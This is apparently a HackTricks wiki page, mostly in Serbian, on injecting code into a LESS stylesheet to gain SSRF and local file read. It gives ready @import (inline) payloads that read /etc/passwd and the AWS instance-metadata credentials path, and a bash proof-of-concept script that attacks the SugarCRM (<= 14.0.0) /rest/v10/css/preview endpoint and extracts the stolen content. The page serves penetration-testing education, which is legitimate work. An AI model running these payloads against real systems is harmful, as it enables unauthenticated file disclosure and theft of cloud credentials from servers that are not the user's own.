LESS Code Injection leading to SSRF & Local File Read

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

LESS je popularan CSS pre-procesor koji dodaje promenljive, mixine, funkcije i moćnu @import direktivu. Tokom kompilacije, LESS engine će fetch the resources referenced in @import izjavama i ugraditi (“inline”) njihov sadržaj u rezultujući CSS kada je opcija (inline) korišćena.

Kada aplikacija konkatenira user-controlled input u string koji kasnije parsira LESS compiler, napadač može inject arbitrary LESS code. Zloupotrebom @import (inline) napadač može naterati server da preuzme:

  • Lokalni fajlovi putem file:// protokola (otkrivanje informacija / Local File Inclusion).
  • Udaljeni resursi na internim mrežama ili cloud metadata servisima (SSRF).

Ova tehnika je viđena u realnim proizvodima kao što su SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Exploitation

  1. Identifikujte parametar koji je direktno ugrađen unutar stylesheet stringa koji obrađuje LESS engine (npr. ?lm= u SugarCRM).
  2. Zatvorite trenutnu naredbu i injektujte nove direktive. Najčešći primitivni tokeni su:
  • ; – završava prethodnu deklaraciju.
  • } – zatvara prethodni blok (ako je potrebno).
  1. Koristite @import (inline) '<URL>'; da pročitate arbitrarne resurse.
  2. Opcionalno injektujte a marker (data: URI) nakon importa kako biste olakšali ekstrakciju preuzetog sadržaja iz kompajliranog CSS-a.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Sadržaj fajla /etc/passwd pojaviće se u HTTP odgovoru neposredno pre markera @@END@@.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automatizovani PoC (primer SugarCRM)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Stvarni slučajevi

ProizvodRanljiv endpointUticaj
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Neautentifikovan SSRF i čitanje lokalnih fajlova

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks